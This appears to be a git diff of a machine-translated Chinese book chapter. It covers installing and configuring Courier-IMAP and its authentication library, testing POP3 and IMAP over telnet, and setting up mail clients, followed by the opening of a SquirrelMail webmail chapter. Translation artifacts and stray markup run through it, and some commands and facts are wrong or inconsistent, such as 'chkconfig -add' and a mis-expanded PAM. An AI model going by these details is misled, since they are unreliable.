`/etc/shadow`系统文件中保存用户密码。 使用 `authshadow`进行身份验证可以根据系统帐户验证密码。 这只适用于用户拥有系统帐户的情况,即他们可以使用 telnet 或 `ssh`登录到机器上。 | -| `authpwd` | 在较旧的系统上,密码存储在 `/etc/passwd`文件中。 `authpwd`模块允许用户根据系统密码进行身份验证。 同样,用户必须拥有系统帐户。 | -| `authuserdb` | 与每个用户都需要一个系统帐户的 `authshadow`不同, `authuserdb`将用户详细信息与系统帐户分开存储。 这允许使用**虚拟邮箱**功能,在这里可以定义用户,而不需要在机器上拥有真实的帐户。 许多脚本用于管理数据库,数据库通常保存在 `/etc/userdb`中。 (许多发行版将其放在 `/etc/courier/authlib/userdb.)` | -| `authmysql` | 这类似于 `authuserdb`,但使用的是 MySQL 数据库,而不是 `authuserdb`中使用的文件。 MySQL 是大多数 Linux 发行版提供的一种流行的关系数据库,与其他方法相比,它既有优点也有缺点。 使用关系数据库(如 MySQL)会增加电子邮件服务器的复杂性,但身份验证可能会更快,而且关系数据库允许与其他应用共享数据(如果需要的话)。 | -| `authpam` | 身份验证由**可编程访问方法(PAM)**库提供。 PAM 是一种常用的库,大多数 Linux 发行版都提供了它。 PAM 非常灵活,可以从各种来源验证用户,包括系统密码数据库(通常是 `/etc/passwd`文件)。 | -| `authcustom` | 允许系统管理员开发自己的自定义身份验证方法。 | - -选择身份验证方法可能是一个困难的决定。 以下是一些指导方针: - -* 如果所有用户都有系统帐户,则可以使用 `authshadow, authpwd`或 `authpam`。 如果已经安装和配置了 PAM,那么应该优先使用它。 -* 如果需要虚拟电子邮件系统,可以使用 `authdb`或 `authmysql`。 对于小场地,选择 `authmysql`比 `authdb`优势不大。 - -在本书中,只介绍了使用 `authshadow`或 `authpwd`进行简单的身份验证。 不过,如果安装并配置了 PAM,则不需要额外的配置。 `authuserdb`和 `authmysql`需要进一步配置,身份验证库的文档中对此进行了描述。 - -`/usr/local/etc/courier/authlib`目录包含 Courier Authentication Library 的配置文件。 出于安全考虑,最好使整个目录仅供 `mail`组的成员用户可读。 可以从安装目录复制默认的 `authdaemonrc`文件。 - -```sh -# mkdir -p /usr/local/etc/courier/authlib -# chown mail:mail /usr/local/etc/courier/authlib/ -# chmod 755 /usr/local/etc/courier/authlib/ -# cp /tmp/courier-authlib-0.52/authdaemonrc /usr/local/etc/courier/ -authlib - -``` - -要以 root 用户完成配置,请编辑 `/usr/local/etc/courier/authlib/authdaemonrc`文件并修改以下条目: - -```sh -authmodulelist="authshadow" -daemons=3 -authdaemonvar=/var/lib/courier/authdaemon -DEBUG_LOGIN=0 -DEFAULTOPTIONS="" - -``` - -在以 `authmodulelist`开头的行中,输入您想要使用的模块。 - -`daemons=`行列出了应该运行多少进程,等待对用户进行身份验证。 除非有非常多的用户,否则在 `3`到 `5`之间的值就足够了。 守护进程的数量越大,身份验证库使用的内存就越多。 其他进程可用的内存也会减少,这可能会影响整个系统性能。 - -`authdaemonvar`行列出了 Courier Authentication Library 放置运行时文件的位置,特别是用于连接到它的套接字。 这里列出的目录(在本例中是 `/var/lib/courier/authdaemon)`)应该存在,并且只有根用户可读。 使用以下命令 `root`创建目录: - -```sh -# mkdir -p /var/lib/courier/authdaemon -# chmod 750 /var/lib/courier/authdaemon -# chown mail:mail /var/lib/courier/authdaemon - -``` - -出于安全考虑,最好让 `authdaemonrc`文件只让某些用户可读。 - -```sh -# chown mail:mail /usr/local/etc/courier/authlib/authdaemonrc - -``` - -在系统引导时需要启动身份验证守护进程。 通常,在 `/etc/init.d/`中放置一个脚本,以方便启动和停止守护进程。 示例脚本包含在 `/courier-authlib.sysvinit`中的身份验证库源代码中。 这个文件应该放在 `/etc/init.d`中。 - -```sh -# cd /tmp/courier-authlib-0.52 -# cp courier-authlib.sysvinit /etc/init.d/courier-auth - -``` - -以后可以使用以下命令启动和停止服务: - -```sh -# /etc/init.d/courier-auth start -# /etc/init.d/courier-auth stop - -``` - -最初,守护进程应该直接从命令行运行。 如果有任何错误,它们将被显示。 - -```sh -# /usr/local/sbin/authdaemond start -/usr/local/sbin/authdaemond: line 16: /usr/local/etc/authlib/authdaemonrc: No such file or directory - -``` - -在刚才显示的示例中,由于没有从安装目录复制默认的 `authdaemonrc`文件,所以丢失了 `/usr/local/etc/authlib/authdaemonrc`文件。 - -如果服务已正确启动,可以通过传递 `stop`参数来停止它。 - -```sh -# /usr/local/sbin/authdaemond stop - -``` - -请参阅发行版文档,以便在 Linux 引导时自动启动服务。 在 Red Hat 系统中,可以使用 `service`命令设置服务自动启动。 - -```sh -# service courier-auth add default - -``` - -对于其他发行版,可以使用 `chkconfig`命令。 - -```sh -# chkconfig -add imapd - -``` - -### 解决错误 - -在构建的每个阶段都可能生成错误。 运行 `configure`脚本时的错误可能与缺少依赖有关。 检查随软件提供的 `README`和 `INSTALL`文件,并确保所有依赖项都已安装。 如果从生成的错误消息来看问题不明显,通过 Internet 搜索准确的错误消息可能会找到解决方案。 - -在构建时出现错误是不常见的,因为大多数错误都可以通过 `configure`脚本来避免。 再次,错误信息应该提供一个很好的线索,错误的来源和使用互联网搜索引擎可能会得到回报。 - -运行时错误通常是由于错误的配置。 Courier Authentication Library 的配置选项很少,但是可能会发生错误。 - -如果找不到答案,可以通过快递邮件列表寻求帮助。 一如既往,首先搜索你的问题列表档案,并咨询常见问题解答。 Courier-IMAP,邮件列表在 http://lists.sourceforge.net/lists/listinfo/courier-imap/,可搜索列表档案是可用的:http://sourceforge.net/mailarchive/forum.php?forum_id=7307/,常见问题可在 http://www.courier-mta.org/FAQ.html[【5】。](http://www.courier-mta.org/FAQ.html) - -## 构建快递- imap - -Courier-IMAP 源代码可以在一个压缩包中找到,该压缩包包含所有文件,类似于 ZIP 文件。 可以从[http://www.courier-mta.org/imap/](http://www.courier-mta.org/imap/)下载,但要注意下载的是 Courier- imap 源,而不是 Courier MTA 源。 - -### 注意事项 - -虽然这里给出了关于如何安装 Courier-IMAP 的详细信息,但是阅读随包提供的 `README, READ.ME`或 `INSTALL`文件始终是一个好主意。 如果在安装软件时遇到问题,总是检查是否在任何提供的文档中都没有提到这个问题。 - -要安装 Courier-IMAP,必须输入一些命令。 与以源代码形式提供的许多软件一样,首先运行配置脚本。 配置脚本检查安装在我们机器上的软件,并对软件进行配置,使其能够正确构建。 - -当使用 Courier-IMAP 作为 IMAP 服务器时,默认情况下,它假定其客户端完全遵循 IMAP 标准。 不幸的是,通常情况不是这样,如果 Courier-IMAP 希望客户端完全符合 IMAP 标准,那么邮件可能不会被发送到电子邮件客户端。 Courier-IMAP 开发人员认识到这一点,并且通过将 `--enable-workarounds-for-imap-client-bugs`标志传递给 configure 脚本,构建了使用非标准客户机的能力。 - -express - imap 在构建时包含一个特殊的 `check`功能。 不幸的是,使用 `--enable-workarounds-for-imap-client-bugs`会阻止检查成功工作。 由于 `check`功能是有用的,我们将构建该软件两次。 首先不使用 `--enable-workarounds-for-imap-client-bugs`,然后运行 `check`,然后使用标志重新构建,然后安装软件。 - -要构建 Courier-IMAP,输入以下命令。 选择一个合适的目录来构建软件。 在本例中,我们选择 `/tmp`,软件将自己解包到 `courier-imap-3.0.8`目录中。 正如在 Courier Authentication Library 的例子中提到的,configure 脚本将检测何时使用了 Red hat 派生的 Linux 发行版,并且可以传递 `--with-redhat`标志进行配置。 - -```sh -$ cd /tmp -$ tar xfj /path/to/courier-imap-4.5.1.tar.bz2 -$ cd /tmp/courier-imap-4.5.1 -$ ./configure --with-redhat -checking for a BSD-compatible install... /usr/bin/install -c -checking whether build environment is sane... yes -checking for a thread-safe mkdir -p... /bin/mkdir -p -checking for gawk... gawk -checking whether make sets $(MAKE)... yes -... (a lot more output follows) -config.status: creating config.h -config.status: executing depfiles commands -config.status: executing libtool command -$ make check -Making check in numlib -make[1]: Entering directory `/tmp/courier-imap-4.5.1/numlib' -make[1]: Nothing to be done for `check'. -make[1]: Leaving directory `/tmp/courier-imap-4.5.1/numlib' -Making check in md5 -... (a lot more output appears) -make[2]: Leaving directory `/tmp/courier-imap-4.5.1/imap' -make[1]: Leaving directory `/tmp/courier-imap-4.5.1/imap' -make[1]: Entering directory `/tmp/courier-imap-4.5.1' -make[1]: Nothing to be done for `check-am'. -make[1]: Leaving directory `/tmp/courier-imap-4.5.1' -$ ./configure --enable-workarounds-for-imap-client-bugs -checking for gcc... gcc -checking for C compiler default output file name... a.out -checking whether the C compiler works... yes -checking whether we are cross compiling... no -... (a lot more output follows) -config.status: creating config.h -config.status: executing depfiles commands -config.status: executing libtool command -$ make -$ make -make all-recursive -make[1]: Entering directory `/tmp/courier-imap-4.5.1' -make all-gmake-check FOO=BAR ----------------------------------------------------- -(lots more output appears) -cp imap/imapd.cnf . -cp imap/pop3d.cnf . -cp -f ./maildir/quotawarnmsg quotawarnmsg.example -make[2]: Leaving directory `/tmp/courier-imap-4.5.1' -make[1]: Leaving directory `/tmp/courier-imap-4.5.1' -$ su -c "make install" -Password: (enter password for root) -Making install in numlib -make[1]: Entering directory `/tmp/courier-imap-4.5.1/numlib' -make[2]: Entering directory `/tmp/courier-imap-4.5.1/numlib' -make[2]: Nothing to be done for `install-exec-am'. -make[2]: Nothing to be done for `install-data-am'. -(lots more output appears) -Do not forget to run make install-configure -test -z "/usr/lib/courier-imap/share" || /bin/mkdir -p "/usr/lib/courier-imap/share" -/usr/bin/install -c mkimapdcert mkpop3dcert '/usr/lib/courier-imap/share' -make[2]: Leaving directory `/tmp/courier-imap-4.5.1' -make[1]: Leaving directory `/tmp/courier-imap-4.5.1' -$ su -c "make install-configure" -Password: (enter password for root) -make[1]: Entering directory `/tmp/courier-imap-4.5.1/numlib' -make[1]: Leaving directory `/tmp/courier-imap-4.5.1/numlib' -make[1]: Entering directory `/tmp/courier-imap-4.5.1/md5' -make[1]: Leaving directory `/tmp/courier-imap-4.5.1/md5' -(lots more output appears) -make install-configure-local DESTDIR= -make[1]: Entering directory `/tmp/courier-imap-4.5.1' -make[1]: Leaving directory `/tmp/courier-imap-4.5.1' -$ - -``` - -如果输出与所示类似,则表示已经成功安装了 Courier-IMAP,您可以跳过下一节关于错误处理的内容。 - -### 处理错误 - -`configure`命令可能会失败。 配置尝试检测现有软件,并确保 Courier-IMAP 与之工作,但偶尔会出现错误。 - -![Handling errors](img/8648_03_2.jpg) - -在本例中, `configure`命令假设 `vpopmail`已经安装,当它找不到 `vpopmail`的部分内容时失败。 现实中, `vpopmail`没有安装,无法检测到。 我们从 `INSTALL`文件中获得以下内容: - -```sh -...configure should automatically detect if you use vpopmail, and compile and install the authvchkpw authentication module. - -``` - -这表明 `authvchkpw`用于 `vpopmail`。 在 `INSTALL`文件的后面,我们读到: - -```sh -* authvchkpw - this module is compiled by default only if the vpopmail account is defined. - -``` - -在检查 `/etc/passwd`文件时,我们发现有一个账号 `vpopmail`解释了这个检测。 缺少 `vpopmail`文件解释了 `configure`脚本的失败。 在 `INSTALL`文件中,描述了配置脚本的参数。 - -```sh -Options to configure: -... -* --without-module - explicitly specify that the authentication module named "module" should not be installed. See below for more details. -Example: --without-authdaemon. - -``` - -因此,解决方案是使用 `--without-authvchkpw`选项: - -```sh -$ ./configure –without-authvchkpw - -``` - -大多数问题都可以用类似的方法解决。 最好不要被不理解的术语和名称所吓倒。 不需要了解 `vpopmail`的任何内容,只需要搜索术语`"vpopmail"`(在原始错误消息中提到过),就可以通过阅读文档来解决错误。 - -如果你找不到答案,有一个快递邮件列表,可以寻求帮助。 细节在*解决错误*部分给出。 - -# 使用 POP3 - -正如在介绍中提到的,POP3 通常用于将电子邮件存储在客户机计算机上。 它最常用于与电子邮件服务器有间歇连接的情况,例如,在使用拨号线路访问 ISP 的电子邮件帐户时。 这种方法的优点是,客户端总是可以使用电子邮件,客户端可以在不连接到电子邮件服务器的情况下工作。 当用户下一次在线时,可以阅读电子邮件,并创建回复。 - -使用 POP3 的主要缺点是电子邮件通常只在客户端 PC 上可用。 如果客户端 PC 失败或被盗,电子邮件就会丢失,除非做了备份。 - -可以将 POP3 客户机配置为将电子邮件保存在 POP3 服务器上,以便其他客户机访问,但是在这种情况下更常用 IMAP。 - -## 配置 POP3 的速递 imap - -如果是从源代码构建的,配置文件位于 `/usr/lib/courier-imap/etc/courier-imap/`中。 如果您正在使用打包发行版,它们可能位于 `/etc/courier-imap`中。 `pop3d`文件包含 POP3 服务器的设置。 - -如果您使用的是打包的 Courier-IMAP 分发版,可以通过以下命令找到配置文件: - -```sh -# find / -name pop3d 2>/dev/null -/usr/lib/courier-imap/etc/pop3d -/usr/lib/courier-imap/bin/pop3d - -``` - -编辑文件,找到并修改以下设置: - - -| - -设置 - - | - -描述 - - | -| --- | --- | -| `PIDFILE` | `pop3d`守护进程跟踪它使用的进程 ID。 它指定一个有效的路径和一个建议使用该文件的名称。 通常,这可能是 `/var/run/pop3d.pid`。 确保变量指向一个现有的目录(例如 `/var/run)`或创建指定的目录。 | -| `MAXDAEMONS` | 这指定一次可以运行的 `pop3d`进程的最大数量。 这个数字限制了一次可以连接的用户数量。 高于预期用户数量的数字可能是一种浪费,但试图连接的用户也包括在这个数字中。 将此设置为一次连接的最大用户数量,或者稍高一些。 请注意,这是启动的最大进程数,而不是初始进程数。 | -| `MAXPERIP` | 这指定来自每个 IP 地址的最大连接数。 较低的数字,例如 4,可以防止恶意行为,如拒绝服务攻击,即试图用尽邮件服务器上的所有连接。 | -| `POP3AUTH` | 如果使用 Courier Authentication Library 守护进程,则将其设置为空,否则将其设置为表示所执行的登录身份验证的类型。 对于 4.0 之前的版本,应该将其设置为 `LOGIN`。 | -| `PORT` | 这指定守护进程侦听的端口。 标准端口是 `110`,只有当所有客户端软件配置为使用非标准端口时,才应该选择不同的端口。 | -| `ADDRESS` | 它指定要监听的 IP 地址。 如果机器有多个网络接口,可以将 Courier-IMAP 配置为只监听其中一个地址。 `0`表示使用所有的网络接口。 | -| `TCPDOPTS` | 这些是要使用的选项。 使用的典型示例包括:阻止 POP3 守护进程尝试解析每个连接的名称的 `nodnslookup`和阻止它尝试对进入的连接执行 `ident`查询的 `-noidentlookup`。 指定这两个设置可以减少验证用户连接所花费的时间。 | -| `MAILDIRPATH` | 这是一个典型用户的 `maildir`的路径。 为您的系统指定适当的值,例如 `.maildir`。 | - -下面显示了一个示例 `pop3d`配置文件: - -```sh -PIDFILE=/var/run/pop3d.pid -MAXDAEMONS=40 -MAXPERIP=4 -POP3AUTH="" -PORT=110 -ADDRESS=0 -TCPDOPTS="-nodnslookup -noidentlookup" -MAILDIRPATH=.maildir - -``` - -配置好 POP3 服务器之后,就可以对其进行测试了。 如果您正在使用发行版提供的 Courier-IMAP 版本,请使用发行版的启动脚本 `/etc/init.d/courier-imap`。 这将尝试启动 `imapd`和 `pop3d`,但由于大部分配置将由分发程序完成,因此 IMAP 将成功启动。 - -### 注意事项 - -如果您使用的是 Courier-IMAP 4.0 或更高版本,那么 `courier-authdaemon`必须在 POP3 或 IMAP 服务之前运行。 确保按照前面描述的方式启动它们。 - -使用实例启动 POP3 服务进行测试。 - -```sh -# /usr/lib/courier-imap/libexec/pop3d.rc start - -``` - -一旦正确配置了 POP3 和 IMAP 服务,它们就可以在机器启动时自动启动。 这在*测试 IMAP 服务*一节中进行了解释。 即使不需要 IMAP,也可以遵循这些指示。 - -## 测试 POP3 服务 - -测试 POP3 等服务的最简单方法是使用**telnet**实用程序并连接到适当的端口。 这避免了网络连接或客户端配置可能出现的任何问题。 POP3 使用端口 `110`,因此将 telnet 连接到本地机器上的端口 `110`。 - -```sh -$ telnet localhost 110 -Trying 127.0.0.1... -Connected to localhost. -Escape character is '^]'. -+OK Hello there. -USER username -+OK Password required. -PASS password -+OK logged in. -STAT -+OK 82 1450826 -LIST -+OK POP3 clients that break here, they violate STD53. -1 5027 -2 5130 -3 6331 -4 3632 -5 1367 -... all e-mails are listed, with their sizes in bytes -82 6427 -. -RETR 1 -+OK 5027 octets follow. -Return-Path: -X-Original-To: user@localhost -Delivered-To: user@machine.domain.com -Received: from isp (isp [255.255.255.255]) -... e-mail is listed -. -QUIT -+OK Bye-bye. - -``` - -连接被外部主机关闭。 - -POP3 协议基于文本命令,因此很容易通过 telnet 模拟客户机。 首先,使用 `USER`和 `PASS`命令对用户进行身份验证。 如果对用户进行了正确的身份验证,那么 `STAT`命令将列出所有电子邮件及其组合大小(以字节为单位)。 `LIST`列出每封邮件及其大小。 当使用命令指定电子邮件号码时, `RETR`命令检索(或列出)电子邮件。 `DELE`命令(未在示例中显示)将从服务器删除一封电子邮件。 - -现在 POP3 可以工作了,是时候配置一个电子邮件客户机来收集电子邮件了。 - -## 使用 Windows Live Mail 通过 POP3 检索电子邮件 - -Windows Live Mail 是一种流行的电子邮件客户端,从 XP 以后的 Windows 版本都可以下载。 它包括连接到支持 pop3 和 imap 的服务器的能力。 可以在[http://download.live.com/wlmail](http://download.live.com/wlmail)下载。 - -下面是配置它的步骤: - -1. Start Windows Live Mail by locating it in the Start menu hierarchy: **Start | All Programs | Windows Live | Windows Live Mail**. When it is run for the first time, the interface will automatically display the wizard to create new account. Otherwise, click on **Add e-mail account** in the navigation bar. - - ![Retrieving E-mail via POP3 with Windows Live Mail](img/8648_03_3.jpg) - -2. The first page of the new account wizard will be displayed. - - ![Retrieving E-mail via POP3 with Windows Live Mail](img/8648_03_4.jpg) - -3. 以 `username@domain`格式输入完整的电子邮件地址。 您可以决定是否要输入密码—如果您不检查**记住密码**,每次启动 Windows Live Mail 时都会提示您输入密码。 **显示名称**应该是您的第一个和最后一个名称——这将出现在发出的电子邮件中。 不需要勾选**为电子邮件帐户手动配置服务器设置**复选框。 -4. Click on **Next**. The next page of the wizard requires some server details. - - ![Retrieving E-mail via POP3 with Windows Live Mail](img/8648_03_5.jpg) - -5. 默认为**POP3**服务器。 传入服务器**应该是邮件服务器的名称(或 IP 地址)。 **110**的默认**端口**可以保持不变。 不勾选 SSL 连接,认证方式保持为**明文认证**。 应该保留**登录 ID**作为在第一个屏幕中输入的电子邮件地址的用户名部分。 **传出服务器**应该与**传入服务器**一样,表单的其余部分可以保留默认值。 【t16.1】** -*** Press **Next**. You will be presented with a confirmation screen. - - ![Retrieving E-mail via POP3 with Windows Live Mail](img/8648_03_6.jpg) - - * 当您单击**Finish**时,Windows Live Mail 将尝试连接到电子邮件服务器并下载电子邮件。* 如果有任何错误,那么在导航窗格中右键单击帐户,并选择**属性**。 然后您可以检查和修改任何设置。** - - **现在已经成功地配置了 POP3,是时候转向 IMAP 了。 - -# 使用 IMAP - -正如在介绍中提到的,使用 IMAP,邮件被保存在服务器上,而不是客户机上。 这使它成为具有中央管理功能的组织的理想选择,因为它简化了备份,也允许用户更改他们工作的客户机计算机。 然而,这也意味着存储整个组织电子邮件所需的磁盘存储将不可避免地随着时间的推移而增加。 在发送或接收大型附件时尤其如此。 如果用户依赖于能够访问他们的邮箱,那么如果邮件服务器在他们的工作时间内不可用,他们将会很不方便。 一些电子邮件客户机可以配置为复制电子邮件,从而避免中断。 通过使用 IMAPs 功能创建文件夹并在它们之间移动电子邮件,有时可以以一种相对简单的方式实现这一点。 - -## 配置 IMAP 速递 - -在安装了 Courier-IMAP 之后(如前所述通过包或源安装),需要先对其进行配置,然后才能使用它。 - -### 注意事项 - -如果您已经像前面描述的那样配置和测试了 POP3,那么您应该在配置 IMAP 时停止 Courier-IMAP 守护进程。 如果您使用的是大于 4.0 的 Courier-IMAP 版本,那么您可以让身份验证守护进程继续运行。 - -如果从源构建了 Courier-IMAP,配置文件位于 `/usr/lib/courier-imap/etc/courier-imap/`。 在包装分发中,它们可能位于 `/etc/courier-imap`。 `imapd`文件包含 IMAP 服务器的设置。 - -如果你正在使用一个打包的 Courier-IMAP 分发版,可以通过下面的命令找到配置文件: - -```sh -# find / -name imapd 2>/dev/null - -``` - -```sh -/usr/lib/courier-imap/etc/imapd -/usr/lib/courier-imap/bin/imapd - -``` - -一旦找到文件,就可以对其进行适当的修改。 下面是主要的配置指令: - - -| - -设置 - - | - -描述 - - | -| --- | --- | -| `PIDFILE` | `imapd`守护进程跟踪它使用的进程 ID。 它指定一个有效的路径和一个名称,建议使用该文件。 通常,这可能是 `/var/run/imapd.pid`。 确保设置指向一个有效的目录。 | -| `MAXDAEMONS` | 这指定一次可以运行的 `imapd`进程的最大数量。 这个数字限制了一次可以连接的用户数量。 高于预期用户数量的数字可能是一种浪费,但试图连接的用户也包括在这个数字中。 将此设置为一次连接的最大用户数量,或者稍高一些。 | -| `PORT` | 这指定守护进程侦听的端口。 标准端口是 `143`,只有当所有客户端软件配置为使用非标准端口时,才应该选择不同的端口。 | -| `ADDRESS` | 它指定要监听的 IP 地址。 如果机器有多个网络接口,可以将 Courier-IMAP 配置为只监听其中一个地址。 `0`表示使用所有的网络接口。 | -| `TCPDOPTS` | 这些是要使用的选项。 典型的选项包括:阻止 IMAP 守护进程尝试解析每个连接的名称的 `-nodnslookup`和阻止它尝试对进入的连接执行 `ident`查询的 `-noidentlookup`。 指定这两个设置可以减少验证用户连接所花费的时间。 | -| `MAILDIRPATH` | 这是一个典型用户的 `maildir`的路径。 为您的系统指定适当的值,例如 `.maildir`。 | -| `MAXPERIP` | 这指定来自每个 IP 地址的最大连接数。 少量的数字可以防止恶意行为,如拒绝服务攻击,即试图用尽邮件服务器上的所有连接。 有些电子邮件客户端与服务器建立多个连接,因此,像 `5`这样的低值可能会影响客户端软件的操作。 | -| `IMAP_CAPABILITY` | 这描述了服务器向客户机报告的 IMAP 功能。 它应该保持默认设置。 | -| `IMAP_EMPTYTRASH` | 这指定电子邮件应该在特定文件夹中保存多长时间。 超过指定日期的消息将在用户登录或注销时自动删除。 这可用于在一段时间后自动从 `Trash`文件夹中删除电子邮件。 这适用于所有文件夹,因此可以在较长时间过期后删除 `Sent items`文件夹中的电子邮件。例如, `IMAP_EMPTYTRASH=Trash:7,Sent:30`指定 `Trash`文件夹中的电子邮件在 7 天后删除, `Sent`文件夹中的电子邮件在 30 天后删除。如果指定的文件夹中存在大量的电子邮件,那么性能将受到影响,因为每次用户登录或退出 IMAP 服务器时都将检查每个文件。 在这种情况下,最好禁用此设置,并定期运行一个单独的脚本来删除旧文件。 | -| `IMAP_IDLETIMEOUT` | 这是在连接关闭之前,客户端可以空闲(不向服务器发出任何请求)的时间长度(以秒为单位)。 低于默认值 60 的值可能会导致客户端连接提前终止,但编写良好的客户端将在不通知用户的情况下重新连接。 如果用户报告问题,应该使用更高的值。 | -| `IMAP_TRASHFOLDERNAME` | 这指定删除电子邮件时要使用的文件夹。 | -| `SENDMAIL` | 它指定到 `sendmail`的路径,用于发送电子邮件。 你应该确保它指向在[第 2 章](02.html "Chapter 2. Setting up Postfix")中通过 Postfix 安装的可执行文件。 | - -下面是一个示例 `imapd`配置文件: - -```sh -ADDRESS=0 -IMAP_CAPABILITY="IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE" -IMAP_EMPTYTRASH=Trash:7 -IMAP_IDLE_TIMEOUT=60 -IMAP_TRASHFOLDERNAME=Trash -MAILDIRPATH=.maildir -MAXDAEMONS=40 -MAXPERIP=10 -PIDFILE=/var/run/imapd.pid -PORT=143 -SENDMAIL=/usr/sbin/sendmail -TCPDOPTS="-nodnslookup -noidentlookup" - -``` - -## 测试 IMAP 服务 - -使用实例启动 IMAP 服务进行测试。 - -```sh -/usr/lib/courier-imap/libexec/imapd.rc start - -``` - -测试 IMAP 等服务的最简单方法是使用 telnet 实用程序并连接到适当的端口。 这避免了网络连接或客户端配置方面的任何问题。 IMAP 使用端口 `143`,所以 telnet 到本地机器上的端口 `143`: - -```sh -$ telnet localhost 143 -Connected to localhost. -Escape character is '^]'. -* OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS] Courier-IMAP ready. Copyright 1998-2004 Double Precision, Inc. See COPYING for distribution information. -1 capability -* CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE -THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT QUOTA IDLE ACL ACL2=UNION STARTTLS -1 OK CAPABILITY completed -2 login "username" "password" -2 OK LOGIN Ok. -3 namespace -* NAMESPACE (("INBOX." ".")) NIL (("#shared." ".")("shared." ".")) -3 OK NAMESPACE completed. - -``` - -每个命令都有一个标识符作为前缀——这里我们使用增量数字。 第一个命令要求 IMAP 服务器列出它的功能。 第二个命令是用户登录,包括用户名和密码。 如果成功,则最后的名称空间命令显示服务器已接受登录,客户机可以确定用户在文件夹层次结构中的位置。 - -这足以确认用户可以登录并发出命令。 整个 IMAP 命令集非常庞大和复杂,不适合 telnet 使用。 - -一旦正确配置了 POP3 和 IMAP 服务,它们就可以在机器启动时自动启动。 如果您是从包中安装的,那么分发程序可能已经在 `/etc/init.d`中创建了合适的启动脚本。 根据分布,这可能在机器启动时开始。 对于 Red Hat Linux,命令将是: - -```sh -# service courier-imap add default - -``` - -对于其他发行版,可以使用 `chkconfig`命令: - -```sh -# chkconfig -add imapd - -``` - -现在已经正确配置了 IMAP,现在该配置电子邮件客户机了。 - -## 使用 Mozilla Thunderbird 通过 IMAP 检索邮件 - -Mozilla Thunderbird 是一种流行的开源电子邮件客户端,可以从[http://www.mozilla.org/](http://www.mozilla.org/)下载。 它可以用于各种操作系统,包括 Windows 和 Linux。 - -下面是配置它以连接到一个 Courier-IMAP 服务器的步骤: - -1. 在雷鸟主屏幕上,选择**工具|帐户设置**。 - -![Retrieving mail via IMAP with Mozilla Thunderbird](img/8648_03_7.jpg) - -1. 点击**添加账号…** 按钮。 在下一个屏幕上,选择**电子邮件帐户**,然后单击**next**。 身份屏幕打开。 输入您的用户名和电子邮件地址,然后单击**Next**。 - -![Retrieving mail via IMAP with Mozilla Thunderbird](img/8648_03_08.jpg) - -1. 在**服务器信息**界面,选择**IMAP**作为服务器类型,并输入接收电子邮件的服务器名称或 IP 地址。 然后点击**Next**按钮。 - -![Retrieving mail via IMAP with Mozilla Thunderbird](img/8648_03_9.jpg) - -1. 在下一个屏幕上,输入**传入用户名**。 这通常是 Linux 帐户名。 - -![Retrieving mail via IMAP with Mozilla Thunderbird](img/8648_03_10.jpg) - -1. 最后,在**account Name**字段中为电子邮件帐户提供一个有用的标记,以防将来定义另一个帐户。 点击**Next**。 - -![Retrieving mail via IMAP with Mozilla Thunderbird](img/8648_03_11.jpg) - -1. 在下一个屏幕中,将总结详细信息。 单击**完成**保存帐户详情并退出**帐户向导**。 - -![Retrieving mail via IMAP with Mozilla Thunderbird](img/8648_03_12.jpg) - -1. 最后,显示**Account Settings**屏幕,列出您刚刚定义的帐户。 点击**确定**。 - -![Retrieving mail via IMAP with Mozilla Thunderbird](img/8648_03_13.jpg) - -要检索消息,请单击**文件|获取新消息**,并从菜单中选择刚刚创建的帐户。 - -雷鸟会提示你输入密码。 输入正确的密码,然后按*回车*。 然后,雷鸟将连接到 Courier-IMAP 并检索所有电子邮件的详细信息。 如果您单击一封电子邮件,雷鸟将使用 IMAP 协议检索它。 - -# 总结 - -在本章中,我们看到了用于检索电子邮件的两种邮件协议 POP3 和 IMAP,并解释了它们的优缺点。 然后我们讨论了 Courier-IMAP,它可以同时提供 POP3 和 IMAP 服务,并建议您使用来自 Linux 分发服务器的包。 我们还描述了如果需要的话,如何从源代码构建它。 然后,我们讨论了如何配置和测试 POP3 和 IMAP 服务,包括配置流行的电子邮件客户机。****** \ No newline at end of file diff --git a/docs/linux-email/04.md b/docs/linux-email/04.md deleted file mode 100644 index 3d9e2ea9..00000000 --- a/docs/linux-email/04.md +++ /dev/null @@ -1,515 +0,0 @@ -# 四、提供邮箱访问 - -在前面的章节中,您学习了如何设置和配置电子邮件服务器。 现在您的电子邮件服务器已经准备好提供服务,那么您的用户将如何访问它呢? 在本章中,你将学到以下内容: - -* webmail 访问解决方案的优点和缺点 -* SquirrelMail web 邮件包 -* 设置和配置 SquirrelMail -* SquirrelMail 插件是什么?它们可以做什么 -* 如何让 SquirrelMail 更安全 - -在下一节中,我们将介绍 SquirrelMail 软件包,并研究它和其他 web 邮件访问解决方案的优缺点。 之后,我们将一步一步地跟踪 SquirrelMail 的安装和配置。 接下来,我们将检查插件的安装,并包含有用插件的参考。 最后,我们将包括一些关于如何保护 SquirrelMail 的提示。 - -# 网络邮件解决方案 - -webmail 解决方案**是运行在服务器上的程序或一系列脚本,可以通过网络访问,并提供对电子邮件功能的访问,类似于传统的邮件客户端。 它被雅虎使用! Mail、Microsoft Hotmail、Microsoft Outlook Web Access 和 Gmail 作为它们的电子邮件解决方案的主要接口。 你可能已经熟悉了各种形式的网络邮件。** - - **虽然我们将专门研究 SquirrelMail 的网络邮件解决方案,但 SquirrelMail 的优点和缺点适用于市场上的大多数网络邮件系统。 从这个角度来看,我们将从一般的角度来处理这个问题,然后详细介绍 SquirrelMail 包。 - -## 好处 - -本节将重点介绍安装和维护 webmail 解决方案所带来的好处。 与任何列表一样,它并不完全全面。 很多福利都是针对特定的情况; 重要的是仔细检查和考虑以下品质如何影响你的个人情况。 - -我们将在本节中探讨的主要好处如下: - -* 容易和快速访问很少或没有设置 -* 简单的远程访问 -* 不需要维护客户端软件或配置 -* 提供用于配置邮件服务器选项的用户界面 -* 可能的保障福利 - -### 方便快捷 - -尽管传统邮件访问解决方案非常适合某些情况,但通常很难设置和维护。 通常,这涉及到在客户端本地计算机上安装软件并对其进行配置。 这可能很困难,特别是在用户需要自己设置软件的情况下。 配置通常会有更多的问题,因为有些用户可能没有足够的能力遵循一组非常详细的说明。 还需要为许多不同平台上的许多不同邮件客户机提供和维护这些说明。 - -然而,网络邮件解决方案没有这些问题中的大部分。 